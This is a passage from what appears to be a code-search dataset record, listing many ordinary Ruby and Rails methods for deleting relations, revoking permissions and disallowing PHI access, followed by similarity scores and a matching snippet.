delate_constraint\n\t\tdelete_constraint_check(params[:user_id], params[:constraint_id])\n\t\tConstraint.delete(params[:constraint_id])\n\t\tredirect_to settings_page_path(id: params[:user_id])\n\tend", "def revoke_admin\n self.update_attributes(:admin => false)\n end", "def delete_related!(*names)\n # Nothing to do by default.\n end", "def delete_accounts\n end", "def discard_transaction\n\t clear_relations\n\tend", "def uninvite_no_progress(*params)\n\t\tself.each{|x| safe{x.uninvite(*params)} if x.respond_to?('uninvite')}\n\tend", "def disable_referential_integrity\n yield\n end", "def disable_referential_integrity\n yield\n end", "def disable_referential_integrity\n yield\n end", "def disable_referential_integrity\n yield\n end", "def disallow_last_phi!\n raise ArgumentError, 'block not allowed' if block_given?\n\n removed_access = __phi_stack.pop\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No class level access was granted.'\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def delete_related!(*names)\n # Delete the sub scopes whose name are in names.\n @scopes.delete_if { |scope| names.include?(scope.name) }\n # Delete the inner signals whose name are in names.\n @inners.delete_if { |sig| names.include?(sig.name) }\n # Delete the connections that contain signals whose name are\n # in names.\n @connections.delete_if { |connection| connection.use_name?(*names) }\n # Delete the behaviors whose block name or events' name are in\n # names.\n @behaviors.delete_if do |behavior|\n names.include?(behavior.block.name) or\n behavior.each_event.include? do |event|\n event.ref.use_name?(*names)\n end\n end\n \n # Recurse on the sub scopes.\n @scopes.each { |scope| scope.delete_related!(names) }\n # Recurse on the behaviors.\n @behaviors.each { |behavior| behavior.block.delete_related!(names) }\n end", "def delete_perms!\n perms.destroy_all\n end", "def destroy(also_opinions=false)\n opinions.each(&:destroy) if also_opinions\n super() \n end", "def destroy\n if @relation.user1_id == @currentUser.id or @currentUser.role == 0\n @relation.destroy\n respond_to do |format|\n format.html { redirect_to relations_url, notice: 'Relation was successfully destroyed.' }\n format.json { head :no_content }\n end\n else\n redirect_to relations_url, notice: 'You cant revoke anothers users queries'\n end\n end", "def reload_relations\n relations.each_pair do |name, meta|\n if instance_variable_defined?(\"@#{name}\")\n if _parent.nil? || instance_variable_get(\"@#{name}\") != _parent\n remove_instance_variable(\"@#{name}\")\n end\n end\n end\n end", "def decommission\n actually_decomission = false\n\n self.transaction(Zartan::Application.config.default_transaction_options) do\n if self.no_sites?\n # soft-delete the proxy so that nobody else tries to use it\n self.soft_delete\n self.save\n # Decomission the proxy outside of the transaction\n actually_decomission = true\n end\n end\n # Tear down the proxy outside of the transaction because we don't need\n # the database anymore.\n self.source.decommission_proxy(self) if actually_decomission\n end", "def delete\n Authentication.where(user_id: id).each { |auth| auth.delete }\n super\n end", "def relation_withdraw_kind(user,kind)\n Note_Relation.all(:note_id => self.id, :user_id => user.id, :kind => kind ).destroy!\n end", "def destroy_relations(related_tag)\n Relation.where(tag: [self, related_tag],\n related_tag: [self, related_tag]).delete_all\n end", "def revoke(params)\n params[:key] = 'attributes'\n\n run_command :revoke, :domain, params\n end", "def op_remove_relation!(field, objects = [])\n objects = [objects] unless objects.is_a?(Array)\n return false if objects.empty?\n relation_action = Parse::RelationAction.new(field, polarity: false, objects: objects)\n operate_field! field, relation_action\n end", "def destroy_user\n self.own_children.each do |child|\n unless child.admins.where([\"relations.user_id != ?\", self.id]).any?\n child.destroy_child\n end\n end\n self.destroy\n end", "def destroy_associations\n end", "def detach_relationship(data) #FIXME: Method doesn't work, RelationshipManager cannot access to id attribute.\n return @client.raw(\"post\", \"/config/relationships/detach\", nil, data)\n end", "def revoke\n @delegation = current_user.employee_delegations.find_by(token: params[:delegation_id])\n if @delegation.nil?\n flash[:alert] = 'You are not authorised to access this page'\n redirect_to root_path and return\n else\n @delegation.deactivate('employee')\n flash[:notice] = 'Confirmed! Your account is no longer controlled by ' + @delegation.manager.full_identity\n redirect_to root_path and return\n end\n end", "def destroy_relations\n begin\n File.delete FRIENDS_IDS_PATH + self.twitter_id.to_s\n File.delete FOLLOWER_IDS_PATH + self.twitter_ids.to_s\n rescue\n puts \"Didnt find the corresponding files.\"\n end \n end", "def delete_related_groups\n \n end", "def revoke\n raise \"Implement me!\"\n end", "def delete_all_members\n me, mr = Member.table_name, MemberRole.table_name\n self.class.connection.delete(\n \"DELETE FROM #{mr} WHERE #{mr}.member_id IN (SELECT #{me}.id FROM #{me} \" \\\n \"WHERE #{me}.project_id = #{id})\"\n )\n # start Patch\n Member.where(:project_id => id).each do |member|\n member.member_functions.delete_all\n member.delete\n end\n #Member.where(:project_id => id).delete_all\n # end Patch\n end", "def deregister_submodels(set)\n current_size = submodels.size\n submodels.difference!(set.to_value_set)\n if (submodels.size != current_size)\n if m = supermodel\n m.deregister_submodels(set)\n end\n true\n else false\n end\n end", "def delete_existing_relationships(obj, bump_lock_version_on_referent = false, force = false, predicate = nil)\n relationships.each do |relationship_defn|\n\n next if (!relationship_defn.json_property && !force)\n\n if (relationship_defn.json_property &&\n (!self.my_jsonmodel.schema['properties'][relationship_defn.json_property] ||\n self.my_jsonmodel.schema['properties'][relationship_defn.json_property]['readonly'] === 'true'))\n\n # Don't delete instances of relationships that are read-only in this direction.\n next\n end\n\n\n relationship_defn.find_by_participant(obj).each do |relationship|\n\n # If our predicate says to spare this relationship, leave it alone\n next if predicate && !predicate.call(relationship)\n\n # If we're deleting a relationship without replacing it, bump the lock\n # version on the referent object so it doesn't accidentally get\n # re-added.\n #\n # This will also encourage the indexer to pick up changes on deletion\n # (e.g. a subject gets deleted and we want to reindex the records that\n # reference it)\n if bump_lock_version_on_referent\n referent = relationship.other_referent_than(obj)\n DB.increase_lock_version_or_fail(referent) if referent\n end\n\n relationship.delete\n end\n end\n end", "def curator_access_revoke\n unless user_signed_in? && current_user.user_type == \"curator\"\n redirect_to root_path\n end\n end", "def delete_all_user_permissions\n self.permissions.each do |p|\n if p.contributor_type == 'User'\n p.destroy\n end\n end\n end", "def reject\n\tRelationship.where(:accessed_id => params[:id], :accessor_id => params[:request_id]).first.destroy\n\tredirect_to(requests_user_path(current_user))\n end", "def purge_associations\n EspRulesList.where(list_type: type, list_id: id).delete_all\n ExportedLead.where(list_type: type, list_id: id).delete_all\n MessageAutoResponse.where(esp_list_type: type, esp_list_id: id).delete_all\n end", "def delete_ontologies_and_submissions\n LinkedData::SampleData::Ontology.delete_ontologies_and_submissions\n end", "def remove_all_associated_objects(opts)\n raise(Sequel::Error, 'model object does not have a primary key') unless pk\n send(opts._remove_all_method)\n ret = @associations[opts[:name]].each{|o| remove_reciprocal_object(opts, o)} if @associations.include?(opts[:name])\n @associations[opts[:name]] = []\n ret\n end", "def rem_admin oid\n self.admins.delete oid\n end", "def revoke_admin_rights(member)\r\n fail \"#{member.email} is not a admin of this organisation\" unless admins[member.email]\r\n fail \"not enough admins left\" unless self.admin_count > 1\r\n self.admins.delete(member.email)\r\n end", "def possessionrevoke\n party = Party.find(params[:party_id])\n possession = party.possessions.find(params[:possession_id])\n party.possessions.delete(possession)\n \n redirect_to :action => 'relationshipassignment', :party_id => params[:party_id]\n end", "def remove_relation\n @word.word_roots.delete(@word_root)\n respond_to do |format|\n format.js\n end\n end", "def delete_all\n @reflection.through_reflection.klass.delete_all(@reflection.through_reflection.primary_key_name => @owner.id)\n reload\n end", "def cleanup_relationships\n @involved_relationships = self.relationships\n @iterations = @involved_relationships.length\n @iterations.times do |i|\n @involved_relationships[i].destroy\n end\n end", "def evict_tenant\n\t\t#if @is_rental?\n\tend", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n message = __phi_stack.present? ? \"PHI access disabled for #{__user_id_string(__phi_stack)}\" : 'PHI access disabled. No class level access was granted.'\n\n __reset_phi_stack\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def omit_related_resources( ds, options )\n\t\tunless options[:include_related]\n\t\t\tds = ds.reject {|uuid| @storage[uuid]['relationship'] }\n\t\tend\n\t\treturn ds\n\tend", "def revoke\n @session.do_rpc_endpoint('/revoke')\n nil\n end", "def wrap_phi\n # Disable PHI access by default\n @__phi_access_stack = []\n @__phi_methods_extended = Set.new\n @__phi_relations_extended = Set.new\n\n # Wrap attributes with PHI Logger and Access Control\n __phi_wrapped_methods.each { |m| phi_wrap_method(m) }\n __phi_extended_methods.each { |m| phi_wrap_extension(m) }\n end", "def destroy\n # Удаляем подписки\n @subscriptions = Subscription.where(email: current_user.email)\n @subscriptions.each do |subscription|\n subscription.destroy\n end\n\n super\n end", "def remove_all_authentications\n current_user.authentications = []\n current_user.save\n render :text => \"Your Auths Are Destroy\"\n end", "def soft_delete\n self.active = false\n save\n\n employees.each(&:soft_delete)\n products.each(&:soft_delete)\n end", "def delete_trusted_keys_statement\n super\n end", "def destroy\n if current_scope.is_a?(Program)\n @user = current_scope.associated_users.find(params[:id])\n @user.remove_program!(current_scope)\n flash[:notice] = \"Access revoked for #{@user}\"\n else\n @user = current_scope.associated_users.find(params[:id])\n @user.remove_account!(current_scope)\n flash[:notice] = \"Access revoked for #{@user}\"\n end\n\n respond_with [:admin, @user]\n end", "def decline\n @transfer_request.decline!\n redirect_to owner_scoped_extension_url(@transfer_request.extension),\n notice: t(\n 'extension.ownership_transfer.invite_declined',\n extension: @transfer_request.extension.name\n )\n end", "def delete_related!(*names)\n # Delete the noifs if their condition uses one of names.\n @noifs.delete_if { |noif| noif[0].use_names?(names) }\n # Recurse on the yes.\n @yes.delete_related!(*names)\n # Recurse on the no.\n @no.delete_related!(*names)\n # Recruse one the no ifs statements.\n @noifs.each { |noif| noif[1].delete_related!(*names) }\n end", "def destroy\n revert_impersonate\n redirect_to root_path\n end", "def unprotect()\n res = super(context,self)\n return res\n end", "def disable_referential_integrity(&block)\n yield\n end", "def reject_related(rel, ignore: [], &blk)\n reject_embedded(rel, ignore: ignore, &blk).reject_links(rel, ignore: ignore, &blk)\n end", "def destroy_constraints_statements(repository_name, model)\n model.many_to_one_relationships.map do |relationship|\n table_name = model.storage_name(repository_name)\n constraint_name = constraint_name(table_name, relationship.name)\n next unless constraint_exists?(table_name, constraint_name)\n\n destroy_constraints_statement(table_name, constraint_name)\n\n end.compact\n end", "def revoke(*roles)\n delete(roles)\n reload\n end", "def uninclude(mod, recurse = false) end", "def destroy\n current_user.graph.destroy(current_user.id) if current_user\n super\n end", "def clear_vertex\n for rel in sorted_relations\n rel.remove(self)\n end\n\tend", "def unlinked\n reject(&:linked?)\n end", "def remove_all_persistence_profiles\n super\n end", "def remove_to_many_relationship(source_record:, related_records:, relationship_type:)\n relationship_method = \"remove_from_#{relationship_type}?\"\n authorize_relationship_operation(\n source_record: source_record,\n relationship_method: relationship_method,\n related_record_or_records: related_records\n )\n end", "def destroy\n return forbidden unless current_account.admin?\n\n current_organization.memberships.where(account_id: params[:id]).update_all(role: Account::DISABLED)\n json nil\n end", "def remove_disallow_flag!\n @__phi_access_stack.pop\n end", "def destroy_and_delete_associations\n unless service.account.provider_can_use?(:api_as_product)\n reflection = BackgroundDeletion::Reflection.new(:backend_apis)\n ReflectionDestroyer.new(service, reflection, caller_worker_hierarchy).destroy_later\n end\n\n super\n end", "def leave!\n leave(as: 'member')\n leave(as: 'guest')\n leave(as: 'power')\n\n remove_membership_associations\n end", "def delete_records_with_hobo_permission_check(records)\n klass = @reflection.through_reflection.klass\n user = acting_user\n if user && records.any? { |r|\n joiner = klass.find(:first, :conditions => construct_join_attributes(r))\n joiner.is_a?(Hobo::Model) && !joiner.destroyable_by?(user)\n }\n raise Hobo::PermissionDeniedError, \"#{@owner.class}##{proxy_reflection.name}.destroy\"\n end\n delete_records_without_hobo_permission_check(records)\n end", "def delete_committee_ties\n users = User.all\n users.each do |user|\n next if user.committee.nil?\n\n user.update(committee: nil) unless Committee.exists?(user.committee)\n end\n\n subcomittees = Subcommittee.all\n subcomittees.each do |subcommittee|\n subcommittee.destroy unless Committee.exists?(subcommittee.committee)\n end\n end", "def excluded_models; %w[Tenant] end", "def detach_support_hierarchy\r\n self.aln_resource.detach_support_hierarchy\r\n self.reload \r\n self.termination_supporter = nil\r\n self.save\r\n self.detach_network\r\n end" ]
[ "0.6587906", "0.5902585", "0.5766153", "0.5674617", "0.56393856", "0.5618511", "0.5616106", "0.5580106", "0.5519277", "0.5462062", "0.5420075", "0.53760546", "0.53100514", "0.52718127", "0.52424747", "0.52184767", "0.515431", "0.515431", "0.5129898", "0.5124908", "0.5096734", "0.50730765", "0.5068719", "0.5063816", "0.50439644", "0.501242", "0.5009602", "0.49947906", "0.49724835", "0.49380416", "0.49320567", "0.49320567", "0.49320567", "0.49320567", "0.4928496", "0.49250004", "0.49240348", "0.4917638", "0.4907843", "0.49010158", "0.4880462", "0.48779765", "0.48675486", "0.48539796", "0.48538038", "0.48513886", "0.4851116", "0.48391557", "0.4825998", "0.48237625", "0.48174518", "0.48170617", "0.48108137", "0.48101375", "0.4796413", "0.47876045", "0.47867078", "0.4785292", "0.47798193", "0.47775763", "0.47652993", "0.47612968", "0.4753854", "0.47494084", "0.47438544", "0.47410274", "0.47398344", "0.47397685", "0.4734201", "0.4732407", "0.4730143", "0.47264814", "0.47249943", "0.47248662", "0.4723368", "0.4723038", "0.47194695", "0.47154143", "0.47136563", "0.47090486", "0.47087625", "0.4706085", "0.47054222", "0.47053215", "0.47012022", "0.4699213", "0.46981984", "0.46886876", "0.46690133", "0.46689054", "0.46589056", "0.46560425", "0.46529275", "0.46522057", "0.46488297", "0.4648069", "0.46475804", "0.46455383", "0.4644188", "0.46421647" ]
0.79246837
0
Adds a disallow PHI access to the stack for block syntax for all `extend`ed relations (or only those given)
def add_disallow_flag_to_extended_phi!(relations = nil) relations ||= @__phi_relations_extended relations.each do |relation| relation.add_disallow_flag! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def disallow_last_phi!(preserve_extensions: false)\n raise ArgumentError, 'block not allowed' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access = @__phi_access_stack.pop\n\n revoke_extended_phi! unless preserve_extensions\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access_for = self.class.__user_id_string(@__phi_access_stack)\n\n revoke_extended_phi!\n @__phi_access_stack = []\n\n message = removed_access_for.present? ? \"PHI access disabled for #{removed_access_for}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def add_disallow_flag!\n @__phi_access_stack.push({\n phi_access_allowed: false\n })\n end", "def disallow_phi\n raise ArgumentError, 'block required. use disallow_phi! without block' unless block_given?\n\n __phi_stack.push({\n phi_access_allowed: false\n })\n\n yield if block_given?\n\n __phi_stack.pop\n end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n message = __phi_stack.present? ? \"PHI access disabled for #{__user_id_string(__phi_stack)}\" : 'PHI access disabled. No class level access was granted.'\n\n __reset_phi_stack\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def disallow_last_phi!\n raise ArgumentError, 'block not allowed' if block_given?\n\n removed_access = __phi_stack.pop\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No class level access was granted.'\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def remove_disallow_flag_from_extended_phi!(relations = nil)\n relations ||= @__phi_relations_extended\n relations.each do |relation|\n relation.remove_disallow_flag! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)\n end\n end", "def disallow_phi\n raise ArgumentError, 'block required. use disallow_phi! without block' unless block_given?\n\n add_disallow_flag!\n add_disallow_flag_to_extended_phi!\n\n yield if block_given?\n\n remove_disallow_flag_from_extended_phi!\n remove_disallow_flag!\n end", "def revoke_extended_phi!(relations = nil)\n relations ||= @__phi_relations_extended\n relations.each do |relation|\n relation.disallow_last_phi! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)\n end\n @__phi_relations_extended.subtract(relations)\n end", "def remove_disallow_flag!\n @__phi_access_stack.pop\n end", "def disable_content_blocks\n cannot :manage, ContentBlock\n end", "def extension_denylist\n end", "def disallow(&block)\n collect_bucket(&block)\n scope = @_env.nil?? :global : @_env\n if @_bucket.any?\n @_disallowed_routes[scope].push(@_bucket).flatten!\n end\n @_bucket = nil\n end", "def allow_phi!(user_id = nil, reason = nil)\n raise ArgumentError, 'block not allowed. use allow_phi with block' if block_given?\n\n user_id ||= current_user\n reason ||= i18n_reason\n raise ArgumentError, 'user_id and reason cannot be blank' if user_id.blank? || reason.blank?\n\n __phi_stack.push({\n phi_access_allowed: true,\n user_id: user_id,\n reason: reason\n })\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(\"PHI Access Enabled for '#{user_id}': #{reason}\")\n end\n end", "def remove_non_base_statements\n remove_has_target_statements\n remove_has_body_statements\n end", "def ignore_exts\n @ext_rules.reject\n end", "def k_extends!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 29 )\n\n\n\n type = K_EXTENDS\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 369:3: 'extends'\n match( \"extends\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 29 )\n\n\n end", "def ignore_parent_exclusion; end", "def phi_wrap_extension(method_name)\n raise NameError, \"Undefined relationship in `extend_phi_access`: #{method_name}\" unless respond_to?(method_name)\n return if self.class.__phi_methods_to_extend.include? method_name\n\n wrapped_method = wrapped_extended_name(method_name)\n unwrapped_method = unwrapped_extended_name(method_name)\n\n self.class.send(:define_method, wrapped_method) do |*args, **kwargs, &block|\n relation = send(unwrapped_method, *args, **kwargs, &block)\n\n if phi_allowed? && (relation.present? && relation_klass(relation).included_modules.include?(PhiRecord))\n relations = relation.is_a?(Enumerable) ? relation : [relation]\n relations.each do |r|\n r.allow_phi!(phi_allowed_by, phi_access_reason) unless @__phi_relations_extended.include?(r)\n end\n @__phi_relations_extended.merge(relations)\n self.class.__instances_with_extended_phi.add(self)\n end\n\n relation\n end\n\n # method_name => wrapped_method => unwrapped_method\n self.class.send(:alias_method, unwrapped_method, method_name)\n self.class.send(:alias_method, method_name, wrapped_method)\n\n self.class.__phi_methods_to_extend << method_name\n end", "def exclude\n all - methods\n end", "def wrap_phi\n # Disable PHI access by default\n @__phi_access_stack = []\n @__phi_methods_extended = Set.new\n @__phi_relations_extended = Set.new\n\n # Wrap attributes with PHI Logger and Access Control\n __phi_wrapped_methods.each { |m| phi_wrap_method(m) }\n __phi_extended_methods.each { |m| phi_wrap_extension(m) }\n end", "def ignore_parent_exclusion?; end", "def anonymous_blocklists; end", "def extend_phi_access(*methods)\n self.__phi_extend_methods = methods.map(&:to_s)\n end", "def excluded; end", "def hide_methods(mod, except_defaults, *stuff)\n options = stuff.last.is_a?(Hash) ? stuff.pop : {}\n include_ancestors = options.fetch(:ancestors){false}\n except = Array(options.fetch(:except){except_defaults})\n protect = Array(options[:protect])\n except_methods = collect_methods(true, *except)\n protect_methods = collect_methods(true, *protect)\n methods_to_hide = collect_methods(include_ancestors, *stuff)\n (methods_to_hide - except_methods).each do |method_name|\n mod.module_eval do\n next unless method_defined?(method_name)\n if protect_methods.include?(method_name)\n protected method_name\n else\n private method_name\n end\n end\n end\n end", "def before_extend( *contexts, & block )\n \n return frame_definer.before_extend( *contexts, & block )\n \n end", "def deny(opts = {})\n stmt = self.class::Statement.new(opts.merge(:effect => :deny))\n statements << stmt\n ConditionBuilder.new(stmt.conditions)\n end", "def allow_phi!(user_id = nil, reason = nil)\n raise ArgumentError, 'block not allowed. use allow_phi with block' if block_given?\n\n user_id ||= self.class.current_user\n reason ||= self.class.i18n_reason\n raise ArgumentError, 'user_id and reason cannot be blank' if user_id.blank? || reason.blank?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n @__phi_access_stack.push({\n phi_access_allowed: true,\n user_id: user_id,\n reason: reason\n })\n\n PhiAttrs::Logger.info(\"PHI Access Enabled for '#{user_id}': #{reason}\")\n end\n end", "def exclude; end", "def extend( *modules, & block )\n\n new_stack_frame( :extend, *modules, & block )\n \n return self\n \n end", "def add_extend ext\n add_to @extends, ext\n\n ext\n end", "def parse_block_extensions; end", "def ignore_if(&block)\n @@ignores << block\n end", "def deny(diagnostic = nil, &block) \n # \"None shall pass!\" --the Black Knight\n # puts reflect(&block) # activate this line and test to see all your denials!\n result = nil\n \n begin\n result = block.call\n rescue => e\n diagnostic = [diagnostic, e.inspect, *e.backtrace].compact.join(\"\\n\\t\")\n _flunk_2_0(\"\\ndeny{ \", diagnostic, block, result)\n end\n \n return unless result\n _flunk_2_0('deny{ ', diagnostic, block, result)\n end", "def disable_referential_integrity(&block)\n yield\n end", "def ignore *node\n end", "def sup(&block)\n ext(Super.new, block)\n end", "def sup(&block)\n ext(Super.new, block)\n end", "def update_extends\n extends.reject! do |ext|\n mod = ext.module\n\n !(String === mod) && @store.modules_hash[mod.full_name].nil?\n end\n\n extends.uniq!\n end", "def define_non_transformable_endpoints(&block)\n @grape_transformations_non_transformable_endpoints = block.to_proc\n end", "def phi_allowed?\n __phi_stack.present? && __phi_stack[-1][:phi_access_allowed]\n end", "def uncan_all()\n self.brk_excluded = :all\n end", "def disable_lessons_containing_me\n manage_lessons_containing_me(false)\n end", "def disable_referential_integrity\n yield\n end", "def disable_referential_integrity\n yield\n end", "def disable_referential_integrity\n yield\n end", "def disable_referential_integrity\n yield\n end", "def deny_yin_yang(prock, diagnostic = nil, &block)\n source = reflect_source(&block)\n fuss = [diagnostic, \"fault before calling:\", source].compact.join(\"\\n\")\n assert fuss, &prock\n block.call\n fuss = [diagnostic, \"fault after calling:\", source].compact.join(\"\\n\")\n assert fuss, &prock\n end", "def restrict_to *privileges, &blk\n options = privileges.last.is_a?( Hash ) ? privileges.pop : {}\n\n if not options[:only]\n options[:except] = Array(options[:except]) + [:login, :logout, :reminder, :profile, :signup]\n end\n \n privileges << options\n \n super( *privileges, &blk )\n end", "def phi_allowed?\n !phi_context.nil? && phi_context[:phi_access_allowed]\n end", "def disallowable\n return @disallowable if @disallowable\n\n @disallowable = parent_disallowables\n end", "def allows_not_action\n @statements.select { |statement| !statement.not_actions.empty? && statement.effect == 'Allow' }\n end", "def no_extensions\n self.class.base_edge_wrapper.new graph, element\n end", "def add_global_proxy_exclusion(opts)\n opts = check_params(opts,[:addresses])\n super(opts)\n end", "def allow_anon\n end", "def before_include_or_extend( *contexts, & block )\n\n return frame_definer.before_include_or_extend( *contexts, & block )\n\n end", "def ignore_parent_exclusion=(_arg0); end", "def include_and_extend( *modules, & block )\n \n return new_stack_frame( :include_and_extend, *modules, & block )\n \n end", "def after_include_or_extend( *contexts, & block )\n\n return frame_definer.after_include_or_extend( *contexts, & block )\n\n end", "def hide_tree(*classOrModules)\n\t\tclassOrModules.each do |classOrModule|\n\t\t\t@ignored_tree[classOrModule] = true\n\t\tend\n\tend", "def add_extends out, extends\n add_extension_modules out, 'Extended by', extends\n end", "def prohibit_all(except: [])\n set_all :prohibited, except: { exceptions: except, status: :allowed }\n end", "def node_safe!(node, lvars: {})\n return unless node.is_a?(Parser::AST::Node)\n\n case node.type\n when :send\n\n # This is a call to a method. If there's a receiver, we'll use the\n # instance method whitelist, otherwise we'll use the list of scriptable\n # methods from the sandbox.\n receiver, method = node.children\n whitelist = receiver ? InstanceMethodWhitelist : Sandbox::ScriptMethods\n raise ProhibitedMethod.new(method, node) unless\n whitelist.include?(method)\n else\n\n # If the node type is not supported, raise an exception.\n raise ProhibitedNodeType.new(node.type, node) unless\n NodeTypeWhitelist.include?(node.type)\n end\n node.children.each { |c| node_safe!(c) }\n end", "def extend_and_include( *modules, & block )\n \n return new_stack_frame( :extend_and_include, *modules, & block )\n \n end", "def do_without_hydrogens(&block)\n _obmol = @ob.get_parent\n had_hydrogens = _obmol.has_hydrogens_added\n _obmol.delete_hydrogens(self.ob) if had_hydrogens\n reply = block.call(had_hydrogens)\n _obmol.add_hydrogens(self.ob) if had_hydrogens\n reply\n end", "def after_extend( *contexts, & block )\n\n return frame_definer.after_extend( *contexts, & block )\n\n end", "def excludes\n @excludes ||= []\n end", "def allow_all(except: [])\n set_all :allowed, except: { exceptions: except, status: :prohibited }\n end", "def negatives_added\n raise \"Negatives not allowed: #{negatives.join(' & ')}\" unless negatives.empty?\n end", "def register(*extensions, &block)\n extensions.reject! { |e| self.extensions.include? e }\n super(*extensions, &block)\n end", "def register(*extensions, &block)\n extensions.reject! { |e| self.extensions.include? e }\n super(*extensions, &block)\n end", "def virtual_not(&block)\n virtualize_keyword(:not, @not_rewriter, block)\n end", "def extended_modules; end", "def no_extensions\n self.class.base_vertex_wrapper.new graph, element\n end", "def deny_all_access\n @permissions = 0\n end", "def disable_referential_integrity(repository = :default)\n if supports_disable_referential_integrity? then\n execute(storage_names(repository).collect do |name|\n \"ALTER TABLE #{quote_name(name)} DISABLE TRIGGER ALL\"\n end.join(\";\"))\n end\n yield\n ensure\n if supports_disable_referential_integrity? then\n execute(storage_names(repository).collect do |name|\n \"ALTER TABLE #{quote_name(name)} ENABLE TRIGGER ALL\"\n end.join(\";\"))\n end\n end", "def add_non_transformable_endpoints\n return unless @grape_transformations_non_transformable_endpoints.is_a? Proc\n @grape_transformations_non_transformable_endpoints.call\n end", "def add_boundary_stacks(ex, ruby_skip=0)\n if ex.instance_variable_defined?(:@spidermonkey_boundary_stacks)\n list = ex.instance_variable_get(:@spidermonkey_boundary_stacks)\n else\n list = ex.instance_variable_set(:@spidermonkey_boundary_stacks, [])\n end\n\n list << [:js, self.current_stack]\n list << [:ruby, caller(ruby_skip + 1)]\n\n rescue Object\n end", "def include_forbidden_attributes_protection?(node)\n node.receiver.to_s == 'ActiveRecord::Base' && node.message.to_s == 'send' &&\n node.arguments.all.map(&:to_s) == ['include', 'ActiveModel::ForbiddenAttributesProtection']\n end", "def when_extended(&block)\n @cautious_extended_block = block\n end", "def without_bullet\n old_bullet_enable = Bullet.enable?\n Bullet.enable = false\n yield\n ensure\n Bullet.enable = old_bullet_enable\n end", "def only_allowed_in_parent_tags?\n !@definition[:only_in].nil?\n end", "def addTab(tName, opts = {}, &initProc)\n MObject.warn('addTab', 'Feature to define graph in experiment script has been disabled')\n end", "def extension_allowlist\n end", "def allowCuratorLogicIgnoreAreas _obj, _args\n \"_obj allowCuratorLogicIgnoreAreas _args;\" \n end", "def page_rels_ext *ignored\n error \"Must define page_rels_ext method in your subclass\"\n end", "def include_guard_end(&block)\n lang_eval { @include_guard_end_block = block }\n nil\n end", "def parent_has_constraints_on_children?\n parent_tag[:definition][:only_allow] != nil\n end", "def hide!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 108 )\n\n \n # - - - - main rule block - - - -\n # at line 967:5: 'hide' ( IGNORABLE )* '{'\n match( \"hide\" )\n # at line 967:12: ( IGNORABLE )*\n while true # decision 56\n alt_56 = 2\n look_56_0 = @input.peek( 1 )\n\n if ( look_56_0 == 0x9 || look_56_0 == 0xc || look_56_0 == 0x20 || look_56_0 == 0x2f || look_56_0 == 0x5c || look_56_0 == 0xa0 )\n alt_56 = 1\n\n end\n case alt_56\n when 1\n # at line 967:12: IGNORABLE\n ignorable!\n\n else\n break # out of loop for decision 56\n end\n end # loop for decision 56\n match( 0x7b )\n # --> action\n quick_balance( LBRACE, RBRACE ) \n # <-- action\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 108 )\n\n end", "def scope\n return super if spree_current_user.present?\n\n super(skip_cancancan: true)\n end", "def ignore_links\n @link_rules.reject\n end", "def tilde!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 56 )\n\n type = TILDE\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 177:9: '~'\n match( 0x7e )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 56 )\n\n end", "def dot(&block)\n ext(Rule.for(DOT), block)\n end", "def skip_policy_scope; end", "def ignore_me\nend", "def extended(*) end", "def tilde!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 40 )\n\n type = TILDE\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 175:9: '~'\n match( 0x7e )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 40 )\n\n end", "def ignore_bang\n @ignore_bang ||= []\n end", "def visit_exts\n @ext_rules.accept\n end" ]
